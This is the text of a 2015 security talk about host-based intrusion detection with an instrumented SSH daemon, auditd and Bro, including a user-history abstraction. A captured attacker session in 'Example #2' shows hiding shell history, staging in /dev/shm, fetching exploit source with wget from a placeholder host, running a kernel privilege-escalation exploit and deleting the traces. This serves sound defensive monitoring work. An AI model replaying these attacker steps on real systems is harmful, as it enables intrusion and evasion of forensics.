Looking for Ghosts in the Machine

Scott Campbell
Security Analyst

August 10, 2015
Network Monitoring Limitations

There are issues for a fully network centric analysis:

• Increasing encryption of transport layer(s) – think HTTP 2.x encrypted by default.

• Activity on systems that has nothing to do with the network.

• Attacks derived on the application layer relating to internal state.
Host Based IDS

Look at the following projects to address some of their limitations:

- iSSHD
- Auditd
- Object Abstraction: More appropriate primitive for holding detailed information.
Instrumented SSHD
iSSHD: Background, circa 2007

6 Major platforms, transition to 100G in progress.
> 4000 users worldwide.
SSH access and Shell accounts for everyone!
Passwords are primary authentication.
Highly diverse code base.

No clear idea what our users are really doing...
Data Normalized: make input and output a series of well defined type:value pairs.

URI Encode all user supplied data: considered hostile binary content till expressly cleaned.

Disconnect data flow, logging and policy application.

Metadata is valuable, so capture it.

Access data *transiting* SSH channels.
Look at data flow and build structure around it.
iSSHD: Solution Architecture

Host

Stunnel

iSSHD Instance

Bro
iSSHHD: Solution Architecture

Host

Stunnel

Input Framework reads in structured text Log file and outputs events

Bro

LOG

INPUT FRAME
Input Framework reads in structured text Log file and outputs events.

channel_data_client_3 time=1434153284.253513
uristring=NMOD_3.08 uristring=931154978%3Ahopper10%3A22
count=102814571 count=0 uristring=ls
event channel_data_client_3(ts: time, version: string, sid: string, cid: count, channel:count, data:string) {
    # general event for client data from
    # a typical login shell
    local CR:client_record = test_cid(sid,cid);

    log_session_update_event(CR, ts, "CHANNEL_DATA_CLIENT_3", data);
}

Bro
Bro Core process events, logging all the data and applying policy as defined.
iSSHD: Event Groups

- **Core**: start, stop, heartbeat, telemetry
iSSH: Event Groups

- **Core**: start, stop, heartbeat, telemetry
- **SSH MetaData**: port forwarding (req/listener), X11, channel creation, socks4/5, tunneling
iSSHД: Event Groups

- **Core**: start, stop, heartbeat, telemetry
- **SSH MetaData**: port forwarding (req/listener), X11, channel creation, socks4/5, tunneling
- **Auth**: auth info, pass attempt, key_fingerprint, invalid_user, key_exchange
iSSHD: Event Groups

- **Core**: start, stop, heartbeat, telemetry
- **SSH MetaData**: port forwarding (req/listener), X11, channel creation, socks4/5, tunneling
- **Auth**: auth info, pass attempt, key_fingerprint, invalid_user, key_exchange
- **User I/O**: data_client (notty), data_server (notty), exec, exec_pty, exec_no_pty
iSSH: Event Groups

• **Core**: start, stop, heartbeat, telemetry
• **SSH MetaData**: port forwarding (req/listener), X11, channel creation, socks4/5, tunneling
• **Auth**: auth info, pass attempt, key_fingerprint, invalid_user, key_exchange
• **User I/O**: data_client (notty), data_server (notty), exec, exec_pty, exec_no_pty
• **SFTP**: most functional calls recorded
Example #1: Remote shell exec (client side)

```bash
spork:RUN scottc$ ssh 10.10.10.10 sh --i

sh-3.2$ id
id
uid=324(scottc) gid=10324(scottc) groups=10324(scottc)
sh-3.2$ exit
exit
```
iSSHD: Example #1 (server side)

#1 - SSHD_CONNECTION_START 127.0.0.1:52344/tcp -> 0.0.0.0:22/tcp
#1 - SSHD_CONNECTION_START 127.0.0.1_192.168.1.134_10.211.55.2_10.37.129.2
#1 - AUTH Postponed scottc publickey 127.0.0.1:52344/tcp > 0.0.0.0:22/tcp
#1 - AUTH Accepted scottc publickey 127.0.0.1:52344/tcp > 0.0.0.0:22/tcp
#1 - SESSION_NEW SSH2
#1 - CHANNEL_NEW [0] server-session
#1 - SESSION_INPUT_CHAN_OPEN server-session ctype session rchan 0 win 2097152 max 32768
#1 - CHANNEL_NEW [1] auth socket
#1 0-server-session SESSION_INPUT_CHAN_REQUEST AUTH-AGENT-REQ@OPENSSH.COM
#1 0-server-session SESSION_REMOTE_DO_EXEC sh -i
#1 0-server-session SESSION_REMOTE_EXEC_NOPTY sh -i
#1 0-server-session SESSION_INPUT_CHAN_REQUEST EXEC
#1 0-server-session NOTTY_DATA_CLIENT id
#1 0-server-session NOTTY_DATA_SERVER uid=32434(scottc) gid=32434(scottc)
#1 0-server-session NOTTY_DATA_CLIENT exit
#1 - host SESSION_EXIT
#1 0-server-session CHANNEL_FREE
#1 1-auth socket CHANNEL_FREE
#1 - SSHD_CONNECTION_END 127.0.0.1:52344/tcp -> 0.0.0.0:22/tcp
iSSHD: Example #1 (server side)

#1 - SSHD_CONNECTION_START 127.0.0.1:52344/tcp -> 0.0.0.0:22/tcp
#1 - SSHD_CONNECTION_START 127.0.0.1_192.168.1.134_10.211.55.2_10.37.129.2
#1 - AUTH Postponed scottc publickey 127.0.0.1:52344/tcp > 0.0.0.0:22/tcp
#1 - AUTH Accepted scottc publickey 127.0.0.1:52344/tcp > 0.0.0.0:22/tcp

SSH_D_RemoteExecHostile #1 - scottc @ 127.0.0.1 -> 0.0.0.0:22/tcp command: sh -i

#1 - SESSION_INPUT_CHAN_OPEN server-session ctype session rchan 0 win 2097152 max 32768
#1 - CHANNEL_NEW [1] auth socket
#1 0-server-session SESSION_INPUT_CHAN_REQUEST AUTH-AGENT-REQ@OPENSSH.COM
#1 0-server-session SESSION_REMOTE_DO_EXEC sh -i
#1 0-server-session SESSION_REMOTE_EXEC_NO_PTY sh -i
#1 0-server-session SESSION_INPUT_CHAN_REQUEST EXEC
#1 0-server-session NOTTY_DATA_CLIENT id
#1 0-server-session NOTTY_DATA_SERVER uid=32434(scottc) gid=32434(scottc)
#1 0-server-session NOTTY_DATA_CLIENT exit
#1 - host SESSION_EXIT
#1 0-server-session CHANNEL_FREE
#1 1-auth socket CHANNEL_FREE
#1 - SSHD_CONNECTION_END 127.0.0.1:52344/tcp -> 0.0.0.0:22/tcp
iSSHD: Example #2

AUTH_OK

resu keyboard-interactive/pam 1.1.1.1:52073/tcp > 0.0.0.0:22/tcp

SESSION_REMOTE_DO_EXEC

sh -i

SESSION_REMOTE_EXEC_NOPTY

sh -i

NOTTY_DATA_CLIENT

uname -a

NOTTY_DATA_CLIENT

Linux comp05 2.6.18-...GNU/Linux

NOTTY_DATA_CLIENT

unset HISTFILE

NOTTY_DATA_CLIENT

cd /dev/shm

NOTTY_DATA_CLIENT

mkdir ... ; cd ...

NOTTY_DATA_CLIENT

wget http://host.example.com:23/ab.c

NOTTY_DATA_CLIENT

gcc ab.c -o ab -m32

NOTTY_DATA_CLIENT

./ab

NOTTY_DATA_SERVER

[32mAc1dB1tCh3z [0mVS Linux kernel 2.6 kernel 0d4y

NOTTY_DATA_SERVER

$$$ K3rn3l r3l3as3: 2.6.18-194.11.3.el5n-perf

NOTTY_DATA_SERVER

???' Trying the F0PPPpppppp__m3th34d

NOTTY_DATA_SERVER

$$$ l00k1ng f0r kn0wn t4rg3t3..

NOTTY_DATA_SERVER

$$$ c0mput3r 1z acqu1r1ng n3w t4rg3t...

NOTTY_DATA_SERVER

!!! u4bl3 t0 f1nd t4rg3t!? W3'll s33 ab0ut th4t!

NOTTY_DATA_CLIENT

rm -rf ab ab.c

NOTTY_DATA_CLIENT

kill -9 $$

SSH_CONNECTION_END

1.1.1.1:52073/tcp > 0.0.0.0:22/tcp
iSSHD: Example #2

```
AUTH_OK
SESSION_REMOTE_DO_EXEC
SESSION_REMOTE_EXEC_NOPTY
NOTTY_DATA_CLIENT
NOTTY_DATA_SERVER
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_SERVER
NOTTY_DATA_SERVER
NOTTY_DATA_SERVER
NOTTY_DATA_SERVER
NOTTY_DATA_SERVER
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
SSH_CONNECTION_END
```

```
resu keyboard-interactive/pam 1.1.1.1:52073/tcp > 0.0.0.0:22/tcp
sh -i
sh -i
uname -a
Linux comp05 2.6.18-... GNU/
unset HISTFILE
cd /dev/shm
mkdir ...
; cd ...
wget http://host.example.com:2
gcc ab.c -o ab -m32
./ab

[32mAc1dB1tCh3z [0mVS Linux kernel 2.6 kernel 0d4y
$$$ K3rn3l r3l3as3: 2.6.18-194.11.3.el5n-perf
??? Trying the F0PPPPpppppp__m3th34d
$$$ L00k1ng for kn0wn t4rg3t3..
$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...
!!! u4bl3 t0 f1nd t4rg3t!? W3'll s33 ab0ut th4t!
rm -rf ab ab.c
kill -9 $$
```

**Behavioral Rules**

**Data Value Rules**
iSSHD: Soft Data

These were not dumb kids – other longer conversations indicated an understanding of *NIX internals. Difficult to get at Soft Data otherwise.
iSSHD Status

- Has been in production on all user-accessible systems for several years now.
- 400-425 systems today.
- 30-50M lines/day logs.
- Years of forensic data on nominal space.
- New clustering model has same cluster model for scale as the network version (scale as well as logs).
Unix Auditd
“The Linux Audit system provides a way to track security-relevant information on your system. Based on pre-configured rules, Audit generates log entries to record as much information about the events that are happening on your system as possible.”

(Redhat)

- “Information” = system call data including call arguments and return values, file system access, execution, device information.
- Balance performance degradation and utility.
Why auditd?

• Ubiquitous on linux systems.
• Well understood and documented as much as these things go.
• Powerful when used correctly.

Why not auditd?

• Promotes The Fear in many HPC system admins.
• Powerful when used correctly.
• Logging aggressively hostile to machine analysis.
• Scale issues.
• Take information from select system calls on hundreds of systems, record the relevant parts and apply local security policy to the data stream.

• Get data off-system to reduce chance of tampering.

• Integrate with other data sources – including iSSHD logs and network analysis.
Auditd is a core system tool so installation is a snap!
Raw logs contain dozens of different record types with some back referencing/multi-line events. Normalize to two types: core and append. Their relationships and fields are all well defined.
**Event/Action:**

- **Core**
- **Append:**
9:3:1  SYSCALL_OBJ  SYSCALL  1366512421.512  gree-m.nersc.gov
unset unset execve SYS_EXEC ifconfig /sbin/ifconfig 19075640
190623f0 7fffb5ca0458 root root root root root root root root
25320 2165 NO_TTY yes 0

9:3:2  EXECVE_OBJ  EXECVE  1366512421.512  green-m.nersc.gov unset
25320 2 %20/sbin/ifconfig%20-a

9:3:3  PLACE_OBJ  CWD  1366512421.512  green-m.nersc.gov unset
25320  / NULL -1 -1 -1 -1

Normalize data on local machine since some parameters might be specific to a local machine such as system call names (32 vs. 64 bit), user identity etc.
9:3:1  SYSCALL_OBJ  1366512421.512  gree-m.nersc.gov
  unset  unset  execve  ifconfig  /sbin/ifconfig  19075640 190623f0 7ffffff5ca0458  root  root  root  root  root  root  root  root  root  root  root  root  root  root  root  root  25320  2165  NO_TTY  yes  0

9:3:2  EXECVE_OBJ  EXECVE  1366512421.512  green-m.nersc.gov  unset  25320  2  %20/sbin/ifconfig

9:3:3  PLACE_OBJ  CWD  1366512421.512  green-m.nersc.gov  unset  25320  /  NULL  -1  -1  -1  -1

Well defined taxonomy:

<table>
<thead>
<tr>
<th>CORE ACTION</th>
<th>KEY (audit.conf)</th>
</tr>
</thead>
<tbody>
<tr>
<td>SYSCALL</td>
<td>SYS_EXEC</td>
</tr>
<tr>
<td>SYSCALL</td>
<td>SYS_FILE</td>
</tr>
<tr>
<td>SYSCALL</td>
<td>SYS_FILE_PERM</td>
</tr>
<tr>
<td>SYSCALL</td>
<td>SYS_FILE_XPERM</td>
</tr>
<tr>
<td>SYSCALL</td>
<td>SYS_NET</td>
</tr>
<tr>
<td>SYSCALL</td>
<td>SYS_OS</td>
</tr>
<tr>
<td>SYSCALL</td>
<td>SYS_SUID</td>
</tr>
<tr>
<td>SYSCALL</td>
<td>SYS_TIME</td>
</tr>
</tbody>
</table>
Auditd: Normalized Log

9:3:1 SYSCALL_OBJ SYSCALL 1366512421.512 gree-m.nersc.gov unset unset SYS_EXEC ifconfig /sbin/ifconfig 19075640 190623f0 7f1f5b5ca0458 25320 2165 NO_TTY yes 0

9:3:2 EXECVE_OBJ EXECVE 1366512421.512 green-m.nersc.gov unset 25320 2 %20/sbin/ifconfig%20-a

9:3:3 PLACE_OBJ CWD 1366512421.512 green-m.nersc.gov unset 25320 / NULL -1 -1 -1 -1

Map system call number to name:
59 -> execve

Translate uig, gid etc ... to local mapping
For bro backend, need to recognize two challenges:

1. Each Collection of Initialize and Append types is stateless, so *state must be tracked*.

2. Policy Analysis is extraordinarily flexible - need to make good choices about *what to look for*.
Recall the distinction

- SYSCALL_OBJ
- USER_OBJ
- GENERIC_OBJ
- EXECVE_OBJ
- SADDR_OBJ
- PLACE_OBJ

Core

Append
Auditd: State

State objects for session

Core

- SYCALL_OBJ
- USER_OBJ
- GENERIC_OBJ

Append

- EXECVE_OBJ
- SADDR_OBJ
- PLACE_OBJ

IDENTITY
Track (uid/gid/*id) across login session.

ACTION
Defined by one Core and (0-n) Append lines
Auditd: State Example
Auditd: State Example

PLACE_OBJ
SADDR_OBJ
SYSCALL_OBJ
PLACE_OBJ
PLACE_OBJ

SOMETHING HAPPENS: ACTION
Lookup/Initialize Identity and empty empty Action struct.
type identity: record {
  ses: int &default=-1;
  node: string &default=INFO_NULL;
  idv: vector of string &log;
  p_idv: vector of string;
  id_test: count &default = 0;
  id_flag: vector of bool;
};

# numeric session id
# action host
# vector of id
# prev vector of id
# test id trans
# mark changed id:
type identity: record {
  ses: int &default=-1;            # numeric session id
  node: string &default=INFO_NULL; # action host
  idv: vector of string &log;      # vector of id
  p_idv: vector of string;         # prev vector of id
  id_test: count &default = 0;     # test id trans
  id_flag: vector of bool;         # mark changed id:
};

auid, uid, gid, euid, egid, suid, sgid
Audited: State

Identity

Semi-Permanent

Transient

Iden=ty

Ac=on

1

ID

Action₁

2

ID

Action₂

N

ID

Actionₙ
So we have very clean data and a state machine. Now what besides logging?

**Identity Transitions**

**Network** socket and connection creation

**Execution**
- absolute path of executables
- all suid exe behavior
- absolute path of executable

**Filesystem**
- Test absolute location of user
- Systematic filesystem errors (R/W/X/Access) + changes
No clean solution to Identity transitions until we realized:

Expected transitions between user identity values in login sessions will be *short lived* for legitimate applications and utilities. Identity can be tested per time intervals.

Some applications (like sshd) have longer term behaviors, but can be filtered via absolute path and heuristics.
Auditd: Identity Transitions #1

Event

root

user1

uid

Execute Ping

window_1

window_2

time
Auditd: Identity Transitions #2

Event

time

root

user1

uid

window₁

Exploit Run

window₂

AUDITD_POLICY::AUDITD_IDTransform
testhost uid scottc -> root /var/tmp/x
To associate a user with network traffic, we log both connections out and listeners created.
For a connection we record the following data:

<table>
<thead>
<tr>
<th>Value</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.0.0.0 0 0 128.55.64.67 5667</td>
<td>socket 4-tuple</td>
</tr>
<tr>
<td>TCP SYS_NET</td>
<td>protocol , state</td>
</tr>
<tr>
<td>95220</td>
<td>session id</td>
</tr>
<tr>
<td>orange-m.nersc.gov</td>
<td>node hostname</td>
</tr>
<tr>
<td>root root root root root</td>
<td>uid, gid, euid, egid</td>
</tr>
</tbody>
</table>

Socket data limited by what is passed via the socket object-source IP and port normally left blank.
For a network listener we record the following data:

<table>
<thead>
<tr>
<th>Value</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.0.0.0 47763</td>
<td>socket 4-tuple</td>
</tr>
<tr>
<td>0.0.0.0 0</td>
<td></td>
</tr>
<tr>
<td>TCP SYS_NET</td>
<td>protocol, state</td>
</tr>
<tr>
<td>95726</td>
<td>session id</td>
</tr>
<tr>
<td>purple-m.nersc.gov</td>
<td>node hostname</td>
</tr>
<tr>
<td>bro bro bro bro</td>
<td>uid, gid, euid, egid</td>
</tr>
</tbody>
</table>
Auditd: Execution

- **Execution**
- absolute path of executables
- all suid exe behavior
- absolute path of executable
Auditd: Filesystem

- Filesystem
- Test absolute location of user
- Systematic filesystem errors (R/W/X/Access) + changes
Auditd: Conclusion

• Current state in late prototype – implemented on one midrange system and looking to move to full production later in the year.
• Idea to look for immutable things in the reconnaissance and attack stages.
• Work with other tools like iSSHD rather than as a replacement.
• Highly flexible analysis platform.
User Abstraction
Background

We need a longer term notion of a user than what can be reasonably constructed in days/weeks of activity. Want a more suitable *primitive* than something naïve like a set of logins. A box to fill up with other boxes...
New Security Primitives

A great deal of information is generated about users and local systems by various means. Historically this data is operated on serially, but by using it to create a stateful primitive a far more powerful.

This primitive can be used to hold metadata about whatever native object it is representing.

Look at designing a system to accept taking both current and envisioned data and apply it to types of things like users, systems etc.
User object, not surprisingly, is used to hold user metadata which in this case is composed mostly of authentication history. Could also add things like execution profiling or job metadata/library classes.
User Object

Static Repository

SQLite Interface

Live User Object

Data Source

SQLite

User History

User Object

iSSHD

Syslog

Globus
User Object

Static Repository

SQLite Interface

Live User Object

Data Source

SQLite

User History

User Object

iSSHD

Syslog

Globus

table login_data:
{ts, orig_h, resp_h, uid, auth_type}
User Object

Static Repository

SQLite

User History

SQLite Interface

Live User Object

User Object

Data Source

iSSHHD

Syslog

Globus

table login_data:
{ts, orig_h, resp_h, uid, auth_type}

userStruct: record {
  subnet_list: table[subnet] of count;
  country_list: table[string] of count;
  last_seen: time;
  total_logins: count
};
User Object

Static Repository

SQLite Interface

Live User Object

Data Source

SQLite

User History

User Object

iSSHD

Syslog

Globus

User Login: if in local cache, process location and network diffs
User Object

Static Repository

SQLite Interface
- User History

Live User Object
- User Object

Data Source
- iSSHD
- Syslog
- Globus

User Login: else do database lookup
Ask for all of users things stored in form:

ts, orig_h, resp_h, uid, auth_type
User Object

Static Repository

SQLite

User History

Ask for all of users things stored in form:

ts, orig_h, resp_h, uid, auth_type

convert to (dynamic on read):

sub_list: table[sub] of int
cntr_list: table[str] of int
last_seen: time;
total_logins: count

SQLite Interface

Live User Object

User Object

Data Source

iSSHD

Syslog

Globus
User Object

Static Repository

SQLite Interface

User History

Live User Object

User Object

Providing a possible notice:

SQLITE::User_NewCountry user1234: CH [ US CH]

Data Source

iSSHD

Syslog

Globus
Other Types

Additional object types/Primitives beside users:

cluster: Example Hopper, Edison
cluster_host: edison12.nersc.gov
external_site: ORNL, TACC
external_cluster: Titan@ORNL
project: mphpcrd
VO: Materials Project, Science Portals
Core Objects

In all cases the same general work flow takes place

- Raw Data
- Normalized Data Logged
- Apply Data to Object
- Apply Security Policy

Local Security Policy for object type
Statistics and Analytics for object type
Agnostic Logs